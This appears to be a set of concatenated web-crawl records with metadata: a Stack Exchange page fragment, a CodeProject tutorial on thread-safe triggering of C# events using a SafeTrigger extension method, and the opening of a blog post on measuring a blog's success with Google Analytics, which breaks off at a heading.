Not the answer you're looking for? Browse other questions tagged or ask your own question. | {
"url": "https://sharepoint.stackexchange.com/questions/263944/ms-word-quick-parts-document-properties-publish-date-vs-sharepoint-2013-library",
"source_domain": "sharepoint.stackexchange.com",
"snapshot_id": "crawl=CC-MAIN-2020-16",
"warc_metadata": {
"Content-Length": "137602",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:G3FXQZIF7ECTJ4YNHEAAYBZZU6YGW7UR",
"WARC-Concurrent-To": "<urn:uuid:f6f4a062-1159-41bc-8dae-fc19ff2fb928>",
"WARC-Date": "2020-04-04T00:30:41Z",
"WARC-IP-Address": "151.101.129.69",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:F4EIAEL5IESYVXJX346T5IMUO33DUI2M",
"WARC-Record-ID": "<urn:uuid:6329d551-b9b6-4d25-b63e-5341d9c80898>",
"WARC-Target-URI": "https://sharepoint.stackexchange.com/questions/263944/ms-word-quick-parts-document-properties-publish-date-vs-sharepoint-2013-library",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:19384326-7e76-40c8-9b0e-987f1314ce86>"
},
"warc_info": "isPartOf: CC-MAIN-2020-16\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for March/April 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-116.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
2,
3,
388,
389,
525,
527,
528,
685,
686,
712,
713,
725,
726,
826,
827
],
"line_end_idx": [
2,
3,
388,
389,
525,
527,
528,
685,
686,
712,
713,
725,
726,
826,
827,
917
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 917,
"ccnet_original_nlines": 15,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.38743454217910767,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.015706809237599373,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.17277486622333527,
"rps_doc_frac_unique_words": 0.5365853905677795,
"rps_doc_mean_word_length": 4.371951103210449,
"rps_doc_num_sentences": 9,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.188080310821533,
"rps_doc_word_count": 164,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.156206414103508,
"rps_doc_frac_chars_dupe_6grams": 0.08926080912351608,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.06136681139469147,
"rps_doc_frac_chars_top_3gram": 0.03626219928264618,
"rps_doc_frac_chars_top_4gram": 0.055788010358810425,
"rps_doc_books_importance": -89.24269104003906,
"rps_doc_books_importance_length_correction": -89.24269104003906,
"rps_doc_openwebtext_importance": -45.498085021972656,
"rps_doc_openwebtext_importance_length_correction": -34.68484878540039,
"rps_doc_wikipedia_importance": -30.59920883178711,
"rps_doc_wikipedia_importance_length_correction": -30.59920883178711
},
"fasttext": {
"dclm": 0.12291038036346436,
"english": 0.9309459328651428,
"fineweb_edu_approx": 1.053276538848877,
"eai_general_math": -0.000010009999641624745,
"eai_open_web_math": 0.004878339823335409,
"eai_web_code": -0.000010009999641624745
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.442",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.776",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
7,835,742,567,597,777,000 | Click here to Skip to main content
12,761,464 members (35,459 online)
Click here to Skip to main content
Add your own
alternative version
Tagged as
Stats
66.7K views
404 downloads
80 bookmarked
Posted 27 Feb 2010
How to Safely Trigger Events the Easy Way
, 3 Mar 2010 CPOL
Rate this:
Please Sign up or sign in to vote.
A guide to the methods of triggering .NET events in a thread-safe way.
Contents
Introduction
Events in C# are simple things on the face of it. You create an event signature using a delegate type and mark it with the event keyword. External code can register to receive events. When specific things occur within your class, you can easily trigger the event, notifying all external listeners.
Easy, right?
Wrong.
If you are developing a multithreaded application, triggering events has a little catch. In this article, I'm going to discuss that catch and show you the standard ways of sidestepping the issue. Afterwards, I'm going to present a technique that will reduce the amount of repeated code and make everything a bit more readable.
I doubt I'm the first person to have suggested this idea, but I thought I would try to document the available options all in one place as a point of reference. I'd be interested to hear about other articles where code similar to that in this article is discussed.
I'm sure most experienced developers are aware of how to safely trigger events, so if you already know the basic bits, you might as well skip straight on down to the more interesting stuff.
The techniques and patterns discussed in this article are not applicable in every single case, but are useful in heavily multithreaded environments, or if you are writing libraries or frameworks that may be used on multiple threads.
How Not To Do It
OK, so I'm sure you've all seen code like this:
public class MyClass
{
public event EventHandler MyEvent;
public void DoSomething()
{
.
.
.
if(MyEvent != null)
{
MyEvent(this, EventArgs.Empty);
}
}
}
Here, we have a test class which has a public event. When certain methods on the class are called, events are triggered, but there is a problem with this code. You have to check the MyEvent delegate for null, because it may be that you don't have any subscribers, but this null check introduces a race condition. Between the null check passing successfully and the event actually getting triggered, it is possible that one of your subscribers will have un-subscribed from the event on a different thread.
An analogy would be magazine subscription. If you un-subscribe for a magazine after it has already been posted by the provider, you are still going to receive the next issue. For exactly this reason, providers make you give them some notice when cancelling a subscription. In this code, we haven't given any notice, so it can just fail.
The Thread Safe Way
Because of this failure risk, some common patterns have evolved as a way of safely triggering events. The first and most common pattern is the one suggested by the Microsoft .NET Framework Design Guidelines.
public class MyClass
{
public event EventHandler MyEvent;
public void DoSomething()
{
.
.
.
OnMyEvent();
}
public void OnMyEvent()
{
EventHandler localCopy = MyEvent;
if(localCopy != null)
{
localCopy(this, EventArgs.Empty);
}
}
}
By taking a private copy of the delegate first, we are now safe to check it for null and trigger it knowing that it can't be changed between the null check and trigger. Any external callers are still free to un-subscribe from the public copy of the event.
Going back to the magazine subscription analogy, we are saying that if subscribers haven't cancelled their subscription by the point we copy the event, then it's too late, they will still receive one final magazine.
[For the observant among you, although EventHandler is a reference type, it inherits from MultiCastDelegate which, just like the String type, is immutable. This means that although to begin with, our "copy" will just be a reference to the same EventHandler object, when an external caller adds or removes a subscription to the event, the original object - our copy - doesn't change, but a new replacement EventHandler object is created with the newly updated invocation list.]
The second pattern is to pre-initialise your events with an empty subscriber:
public event EventHandler MyEvent = delegate { };
By doing this, you ensure that your event will never be null because you add one listener right from the start.
Many people prefer the first technique because in the second, you are creating an empty handler just to ensure something is never null. It's kind of the equivalent of initialising all of your strings with "" just to be sure they will never be null. On top of that, you have to be sure that you never clear the event, or the assumption is no longer valid, so rather than relying on checks at the time of the call, you are assuming that everything else within your class in your code is well behaved.
A third alternative is to simply handle (and silently ignore) the NullReferenceException that could arise from the event trigger.
public void OnMyEvent()
{
try
{
localCopy(this, EventArgs.Empty);
}
catch(NullReferenceException)
{
\\ Do nothing.
}
}
The potential problem with this final option is that you risk also catching and hiding NullReferenceExceptions that occurred within the event handler code. Although in well-behaved subscribers, they should be handling their own exceptions and not letting those exceptions filter up to the event owner, if you are writing frameworks or libraries, it's not always possible to rely on the behaviour of external code.
The technique that you use to ensure thread safety is down to you, but all of the three options described above present ways of eliminating the race condition in an event null check. Of course, if you are writing in a closed and purely single threaded environment, and you can be sure your objects won't be used in a cross-thread situation, it may be perfectly safe to avoid all of this all together.
Safe Trigger
If you do decide that you need fully thread-safe events, thanks to .NET 3.5's Extension Methods, we can write a little helper that does a safe null check for us. The advantage of doing this is that we reduce the amount of repeated code, and less repeated code means less chance of simple mistakes being made.
This is our SafeTrigger extension method:
public static void SafeTrigger<TEventArgs>
(this EventHandler<TEventArgs> eventToTrigger,
Object sender, TEventArgs eventArgs)
where TEventArgs : EventArgs
{
if (eventToTrigger != null)
{
eventToTrigger(sender, eventArgs);
}
}
Let me explain. Here, we have an extension method that extends the EventHandler type with a new SafeTrigger(...) method. The safe trigger method is generic, to match the EventHandler and allow passing of a matching EventArgs class.
Within the method, you might expect to begin by copying the eventToTrigger as we did in the previous examples, but in actual fact, the copy is no longer necessary. Because we are passing the event reference in to a method, the reference is already being duplicated as part of the method call. This means we are just left to perform the null check and trigger the event. Now you can safely trigger your events in one simple line.
MyEvent.SafeTrigger(this, new MyEventArgs());
Conveniently, we don't actually have to specify the generic type, because C# can automatically infer what type we require from the type of the event the extension is acting on. Additionally, because the SafeTrigger method is an extension method, we don't have to be concerned about MyEvent being null before we call it.
We can take this convenience one step further by including the ability to return values from the EventArgs object.
public static TReturnType SafeTrigger<TEventArgs, TReturnType>
(this EventHandler<TEventArgs> eventToTrigger, Object sender,
TEventArgs eventArgs,
Func<TEventArgs, TReturnType> retrieveDataFunction)
where TEventArgs : EventArgs
{
if(retrieveDataFunction == null)
{
throw new ArgumentNullException("retrieveDataFunction");
}
if (eventToTrigger != null)
{
eventToTrigger(sender, eventArgs);
TReturnType returnData = retrieveDataFunction(eventArgs);
return returnData;
}
else
{
return default(TReturnType);
}
}
This time, we are providing the option to pass a function which is used to extract data from the event arguments after the event has been triggered and return it, making it really simple to extract some data.
int returnedData = MyEvent.SafeTrigger(this,
new MyEventArgs(), e => e.MyPropertyToReturn);
In this example, we pass a lambda for the function which describes the property (or properties) we want extracted from the EventArgs object.
[The downloads at the top of this article include source code for some further matching overloads of the SafeTrigger method to handle the non-generic form of the EventHandler class, and to make the EventArgs parameter optional - in which case, the default EventArgs.Empty or new TEventArgs() will be used.]
A Note on Inheritance
.NET Framework design guidelines state that for non-sealed classes, you should use a protected virtual On[EventName] method to trigger events. This is because you should provide sub classes as a way of hooking in on an event other than actually subscribing to the event. As such, the recommended pattern for use of the SafeTrigger extension would be as follows:
public void OnMyEvent(int inData)
{
OnMyEvent.SafeTrigger(this, new MyEventArgs(inData));
}
Or:
public int OnMyEvent(int inData)
{
return OnMyEvent.SafeTrigger(this,
new MyEventArgs(inData), e => e.OutData);
}
Conclusion
In this article, I started with an overview of why a simple null check was not a fully thread safe way of preparing to trigger an event. We've discussed the standard patterns available when safe alternatives are required, and I've ended with a demonstration of a way of encapsulating the Microsoft recommended pattern into a single method call.
By encapsulating common code in this way, we reduce the chance of mistakes being made when duplicating the code many times.
This kind of thread safety isn't necessary in every situation, but if you are writing multithreaded applications or frameworks and require strong thread-safety, the techniques discussed here are invaluable.
Further Reading
There is plenty of reading material online if you need more information on the nature of events and delegates in C#.
History
• 27 Feb. 2010 - Initial revision.
• 2 Mar. 2010 - Updated with a reference to MS guidelines, and added an exception handling pattern.
License
This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)
Share
About the Author
Simon P Stevens
Software Developer
United Kingdom United Kingdom
I discovered programming aged 11 with my school's BBC micro, and a book titled "Write your own space action games". (Their ideas of "space action" games were very different to mine. My ideas didn't include a bunch of * signs controlled via a text based menu)
I got hooked on VB for a while (mainly because I discovered I could replace the * signs with .bmp files) until someone pointed out the wonderful world of objects and Java. I also went thought a c++ phase.
I've now been a professional developer for 5 years.
My current language of choice is C#. I spend my free time playing with XNA and microcontrollers.
You may also be interested in...
Comments and Discussions
GeneralMy vote of 5 Pin
Santhk4-Nov-15 21:33
professionalSanthk4-Nov-15 21:33
GeneralMy vote of 5 Pin
terrybozzio26-May-13 7:18
memberterrybozzio26-May-13 7:18
GeneralMy vote of 5 Pin
sucram9-Mar-12 3:30
membersucram9-Mar-12 3:30
GeneralMy vote of 2 Pin
Joe Sonderegger9-Mar-10 0:05
memberJoe Sonderegger9-Mar-10 0:05
GeneralRe: My vote of 2 Pin
Simon P Stevens9-Mar-10 4:35
memberSimon P Stevens9-Mar-10 4:35
GeneralA more generalized technique Pin
PIEBALDconsult4-Mar-10 18:34
mvpPIEBALDconsult4-Mar-10 18:34
GeneralRe: A more generalized technique Pin
Simon P Stevens4-Mar-10 22:40
memberSimon P Stevens4-Mar-10 22:40
GeneralMore options... and a "possible" problem. Pin
Paulo Zemek4-Mar-10 7:14
memberPaulo Zemek4-Mar-10 7:14
GeneralRe: More options... and a "possible" problem. Pin
Simon P Stevens4-Mar-10 11:05
memberSimon P Stevens4-Mar-10 11:05
GeneralRe: More options... and a "possible" problem. Pin
Paulo Zemek4-Mar-10 11:37
memberPaulo Zemek4-Mar-10 11:37
GeneralRe: More options... and a "possible" problem. Pin
Simon P Stevens4-Mar-10 12:35
memberSimon P Stevens4-Mar-10 12:35
GeneralRe: More options... and a "possible" problem. Pin
Paulo Zemek5-Mar-10 4:40
memberPaulo Zemek5-Mar-10 4:40
GeneralRe: More options... and a "possible" problem. Pin
PIEBALDconsult4-Mar-10 11:56
mvpPIEBALDconsult4-Mar-10 11:56
GeneralRe: More options... and a "possible" problem. Pin
Simon P Stevens4-Mar-10 12:41
memberSimon P Stevens4-Mar-10 12:41
GeneralRe: More options... and a "possible" problem. Pin
PIEBALDconsult4-Mar-10 16:15
mvpPIEBALDconsult4-Mar-10 16:15
GeneralThis is the kind of article I like Pin
Gary Wheeler2-Mar-10 1:18
memberGary Wheeler2-Mar-10 1:18
GeneralRe: This is the kind of article I like Pin
Simon P Stevens2-Mar-10 2:11
memberSimon P Stevens2-Mar-10 2:11
GeneralThoughts Pin
PIEBALDconsult28-Feb-10 5:00
mvpPIEBALDconsult28-Feb-10 5:00
GeneralRe: Thoughts Pin
Simon P Stevens28-Feb-10 5:23
memberSimon P Stevens28-Feb-10 5:23
GeneralRe: Thoughts Pin
PIEBALDconsult28-Feb-10 18:55
mvpPIEBALDconsult28-Feb-10 18:55
GeneralRe: Thoughts Pin
Simon P Stevens3-Mar-10 11:57
memberSimon P Stevens3-Mar-10 11:57
GeneralRe: Thoughts Pin
PIEBALDconsult3-Mar-10 16:51
mvpPIEBALDconsult3-Mar-10 16:51
GeneralRe: Thoughts Pin
Simon P Stevens3-Mar-10 23:40
memberSimon P Stevens3-Mar-10 23:40
GeneralRe: Thoughts Pin
PIEBALDconsult4-Mar-10 5:31
mvpPIEBALDconsult4-Mar-10 5:31
GeneralRe: Thoughts Pin
Simon P Stevens4-Mar-10 5:47
memberSimon P Stevens4-Mar-10 5:47
General General News News Suggestion Suggestion Question Question Bug Bug Answer Answer Joke Joke Praise Praise Rant Rant Admin Admin
Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.
Permalink | Advertise | Privacy | Terms of Use | Mobile
Web02 | 2.8.170217.1 | Last Updated 3 Mar 2010
Article Copyright 2010 by Simon P Stevens
Everything else Copyright © CodeProject, 1999-2017
Layout: fixed | fluid | {
"url": "https://www.codeproject.com/articles/61878/how-to-safely-trigger-events-the-easy-way?fid=1562543",
"source_domain": "www.codeproject.com",
"snapshot_id": "crawl=CC-MAIN-2017-09",
"warc_metadata": {
"Content-Length": "163084",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:4FNVZE6CGSG4FACXTGR3OW55J5OM43TS",
"WARC-Concurrent-To": "<urn:uuid:84853a75-5fc4-4afd-8aa0-a7d1733be951>",
"WARC-Date": "2017-02-27T05:39:21Z",
"WARC-IP-Address": "76.74.234.210",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:2XCOJMEUXLWSXY6OBSTBSQOVUMCAXFEJ",
"WARC-Record-ID": "<urn:uuid:02482610-5e16-4704-a235-3a27f23052a0>",
"WARC-Target-URI": "https://www.codeproject.com/articles/61878/how-to-safely-trigger-events-the-easy-way?fid=1562543",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:689d98ad-ddb9-4ee8-ba44-2ab4b292c3e9>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-171-10-108.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-09\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for February 2017\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
35,
70,
105,
118,
138,
139,
149,
150,
156,
157,
169,
183,
197,
216,
217,
259,
260,
278,
289,
324,
395,
396,
405,
406,
419,
420,
718,
719,
732,
733,
740,
741,
1068,
1069,
1333,
1334,
1524,
1525,
1758,
1759,
1776,
1777,
1825,
1826,
1847,
1849,
1888,
1889,
1919,
1925,
1935,
1945,
1955,
1983,
1993,
2037,
2047,
2053,
2055,
2056,
2561,
2562,
2899,
2900,
2920,
2921,
3129,
3130,
3151,
3153,
3192,
3193,
3223,
3229,
3239,
3249,
3259,
3280,
3286,
3287,
3315,
3321,
3363,
3364,
3394,
3404,
3450,
3460,
3466,
3468,
3469,
3725,
3726,
3942,
3943,
4420,
4421,
4499,
4500,
4550,
4551,
4663,
4664,
5163,
5164,
5294,
5295,
5319,
5321,
5329,
5335,
5377,
5383,
5417,
5423,
5446,
5452,
5454,
5455,
5869,
5870,
6271,
6272,
6285,
6286,
6595,
6596,
6638,
6639,
6682,
6745,
6798,
6843,
6845,
6877,
6883,
6926,
6932,
6934,
6935,
7167,
7168,
7597,
7598,
7644,
7645,
7965,
7966,
8081,
8082,
8145,
8223,
8262,
8330,
8375,
8377,
8414,
8420,
8485,
8491,
8492,
8524,
8530,
8573,
8639,
8666,
8672,
8681,
8687,
8724,
8730,
8732,
8733,
8942,
8943,
8989,
9057,
9058,
9199,
9200,
9507,
9508,
9530,
9531,
9893,
9894,
9928,
9930,
9988,
9990,
9991,
9995,
9996,
10029,
10031,
10071,
10128,
10130,
10131,
10142,
10143,
10488,
10489,
10613,
10614,
10821,
10822,
10838,
10839,
10956,
10957,
10965,
10966,
11003,
11105,
11106,
11114,
11115,
11233,
11234,
11240,
11241,
11258,
11259,
11275,
11294,
11324,
11583,
11584,
11789,
11790,
11842,
11843,
11940,
11941,
11974,
11975,
12000,
12001,
12003,
12027,
12048,
12082,
12106,
12132,
12165,
12189,
12209,
12236,
12260,
12289,
12325,
12353,
12382,
12418,
12458,
12487,
12520,
12564,
12594,
12631,
12684,
12709,
12741,
12798,
12828,
12865,
12922,
12948,
12981,
13038,
13068,
13105,
13162,
13187,
13219,
13276,
13305,
13338,
13395,
13425,
13462,
13519,
13548,
13581,
13627,
13653,
13686,
13736,
13765,
13801,
13821,
13850,
13883,
13907,
13937,
13974,
13998,
14028,
14062,
14086,
14116,
14153,
14177,
14206,
14239,
14263,
14293,
14330,
14354,
14382,
14414,
14438,
14467,
14503,
14504,
14668,
14669,
14780,
14781,
14837,
14884,
14926,
14977
],
"line_end_idx": [
35,
70,
105,
118,
138,
139,
149,
150,
156,
157,
169,
183,
197,
216,
217,
259,
260,
278,
289,
324,
395,
396,
405,
406,
419,
420,
718,
719,
732,
733,
740,
741,
1068,
1069,
1333,
1334,
1524,
1525,
1758,
1759,
1776,
1777,
1825,
1826,
1847,
1849,
1888,
1889,
1919,
1925,
1935,
1945,
1955,
1983,
1993,
2037,
2047,
2053,
2055,
2056,
2561,
2562,
2899,
2900,
2920,
2921,
3129,
3130,
3151,
3153,
3192,
3193,
3223,
3229,
3239,
3249,
3259,
3280,
3286,
3287,
3315,
3321,
3363,
3364,
3394,
3404,
3450,
3460,
3466,
3468,
3469,
3725,
3726,
3942,
3943,
4420,
4421,
4499,
4500,
4550,
4551,
4663,
4664,
5163,
5164,
5294,
5295,
5319,
5321,
5329,
5335,
5377,
5383,
5417,
5423,
5446,
5452,
5454,
5455,
5869,
5870,
6271,
6272,
6285,
6286,
6595,
6596,
6638,
6639,
6682,
6745,
6798,
6843,
6845,
6877,
6883,
6926,
6932,
6934,
6935,
7167,
7168,
7597,
7598,
7644,
7645,
7965,
7966,
8081,
8082,
8145,
8223,
8262,
8330,
8375,
8377,
8414,
8420,
8485,
8491,
8492,
8524,
8530,
8573,
8639,
8666,
8672,
8681,
8687,
8724,
8730,
8732,
8733,
8942,
8943,
8989,
9057,
9058,
9199,
9200,
9507,
9508,
9530,
9531,
9893,
9894,
9928,
9930,
9988,
9990,
9991,
9995,
9996,
10029,
10031,
10071,
10128,
10130,
10131,
10142,
10143,
10488,
10489,
10613,
10614,
10821,
10822,
10838,
10839,
10956,
10957,
10965,
10966,
11003,
11105,
11106,
11114,
11115,
11233,
11234,
11240,
11241,
11258,
11259,
11275,
11294,
11324,
11583,
11584,
11789,
11790,
11842,
11843,
11940,
11941,
11974,
11975,
12000,
12001,
12003,
12027,
12048,
12082,
12106,
12132,
12165,
12189,
12209,
12236,
12260,
12289,
12325,
12353,
12382,
12418,
12458,
12487,
12520,
12564,
12594,
12631,
12684,
12709,
12741,
12798,
12828,
12865,
12922,
12948,
12981,
13038,
13068,
13105,
13162,
13187,
13219,
13276,
13305,
13338,
13395,
13425,
13462,
13519,
13548,
13581,
13627,
13653,
13686,
13736,
13765,
13801,
13821,
13850,
13883,
13907,
13937,
13974,
13998,
14028,
14062,
14086,
14116,
14153,
14177,
14206,
14239,
14263,
14293,
14330,
14354,
14382,
14414,
14438,
14467,
14503,
14504,
14668,
14669,
14780,
14781,
14837,
14884,
14926,
14977,
14998
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 14998,
"ccnet_original_nlines": 324,
"rps_doc_curly_bracket": 0.002533670049160719,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3151414394378662,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.02063228003680706,
"rps_doc_frac_lines_end_with_ellipsis": 0.0030769200529903173,
"rps_doc_frac_no_alph_words": 0.2655574083328247,
"rps_doc_frac_unique_words": 0.3269944190979004,
"rps_doc_mean_word_length": 5.323747634887695,
"rps_doc_num_sentences": 119,
"rps_doc_symbol_to_word_ratio": 0.004658900201320648,
"rps_doc_unigram_entropy": 5.797061443328857,
"rps_doc_word_count": 2156,
"rps_doc_frac_chars_dupe_10grams": 0.027966540306806564,
"rps_doc_frac_chars_dupe_5grams": 0.1120404303073883,
"rps_doc_frac_chars_dupe_6grams": 0.08599059283733368,
"rps_doc_frac_chars_dupe_7grams": 0.07919497787952423,
"rps_doc_frac_chars_dupe_8grams": 0.05636870861053467,
"rps_doc_frac_chars_dupe_9grams": 0.04695940017700195,
"rps_doc_frac_chars_top_2gram": 0.011848749592900276,
"rps_doc_frac_chars_top_3gram": 0.007841089740395546,
"rps_doc_frac_chars_top_4gram": 0.013242729939520359,
"rps_doc_books_importance": -1229.927490234375,
"rps_doc_books_importance_length_correction": -1229.927490234375,
"rps_doc_openwebtext_importance": -730.58984375,
"rps_doc_openwebtext_importance_length_correction": -730.58984375,
"rps_doc_wikipedia_importance": -634.6085205078125,
"rps_doc_wikipedia_importance_length_correction": -634.6085205078125
},
"fasttext": {
"dclm": 0.04342817887663841,
"english": 0.8480309844017029,
"fineweb_edu_approx": 1.6011483669281006,
"eai_general_math": 0.053288400173187256,
"eai_open_web_math": 0.23674577474594116,
"eai_web_code": 0.0048051499761641026
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "4",
"label": "Advanced Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
1,269,184,169,101,919,200 | How to use Google Analytics to Track your Blog's Success (& bonus e-book!)
How-To-Track-Your-Blogs-Success-e-book-feature-1.png
I actually wasn't planning on writing this post, but after having such an overwhelming response to my post last week I changed my mind. If you missed it, I wrote a really simple, transparent post about the five things that helped my grow my blog which seemed to really resonate with you guys! I've had such a lot of lovely feedback via Instagram, Twitter and email that I wanted to share some more of my (admittedly very basic) knowledge of blogging.
Although I've never wanted to become a blogger who writes about blogging, I realise I LOVE helping others and sharing knowledge. I also know the people I seem to connect with online share those qualities too so I don't know why I wouldn't share it more! I know when I started out, my biggest bugbear and confidence-knocker were fellow bloggers who refused to share how they did things the way they did, being overly-private and cliquey (both in person and online) and I think I probably have been that person too a little bit. Without realising....but still.
There's also the fact I don't always feel empowered to share my knowledge. I feel like a fraud telling you my advice and earnest learnings when I most certainly am not an 'A-list blogger.'
Actually that reminds me of something that happened fairly recently in a blogging Facebook group.
Someone posted asking a question about what the group thought of those with smaller followings offering e-books and advice posts about blogging. She made the point that could they really have the authority to do so when they didn't have a colossal following themselves. She bandied a couple of numbers about, and while it was simply an opinion and a conversation starter it made me think: Who do I think I am offering anyone advice? I only have about 1200 Instagram followers, and less than 2000 people following me on Twitter.
My blog stats were double the amount she quoted, but still far less than the level many 'experts' are at.
The wonderful Elizabeth, of Rosalilium weighed in with something that has stuck with me ever since. This isn't verbatim, but she pointed out that teaching is a very different skill to doing. Just because someone doesn't have the stats of your dreams -- that doesn't mean they can't help you get there. She also pointed out that if we use this logic, then only A list actors would be qualified to teach acting.
This gave me such pause for thought and reminded me of the old (insulting) adage: "Those who can, do, and those who can't, teach."
Although I don't believe that AT ALL. I also realised something empowering - I'm pretty good at sharing knowledge in a way that resonates with you guys, my tribe. So I'm gonna put myself out there and start doing it a lot more -- because it makes me SO happy when one of you drops me a tweet saying I've helped you with something, or made blogging feel a little more accessible.
So expect more posts telling you the basics of how I blog, how I create content, navigate the blogosphere and the tips and tricks I've gleaned along the way. They may not all be particularly groundbreaking, but hopefully they will help you on your blogging journey.
If you are keen to follow along, this might be the time to subscribe to the blog via RSS or email (I only send one email a week, promise!) or on Bloglovin' if that floats your boat.
Pin this for later:
Lucy explains how, what and why you should be measuring your blog's success through Google Analytics. Plus she gives you a FREE e-book!
How, Why, & What Should You Be Using to Track your Blog's Success?
As ever, I'm no expert on this topic (or any other for that matter!) but what I am is someone who started out just like you with no idea how to do things.
STOP OBSESSING
I actually have a few unconventional ideas about analytics and metrics in general actually, so bear with me, because there is a little method to my madness I promise.
Firstly, I want to say that I think far too much importance is placed on measuring metrics. I also think it can be really damaging to your creativity, ego and progress to sit in front of a report pressing refresh over and over again only to see the exact same number staring back at you.
It's also really unhelpful to run before you can walk, to track before you've found your voice......to set up a complex analytic report on social referrals before you have even made sure you have visible social links in your sidebar, for example.
Do you see what I'm getting at? I think we are all encouraged to utilise EVERY SINGLE TOOL before getting comfortable in our blogging skin. So chill, some of the biggest bloggers out there didn't have anyone looking at their blogs for months, even years.
I don't say this to discourage you at all. I just don't think this is where you need to feel you should be putting your efforts. I'd say that tracking your analytics and metrics is something you wanna be doing when you have found your focus.
Otherwise, you are simply looking at numbers with no idea what to do with them.
[clickToTweet tweet="Wanna know the best way to track your blog's success? Read on for a guide & FREE e-book #blog " quote="Like this post? Tweet it! L x" theme="style3"]
DEFINE YOUR GOAL
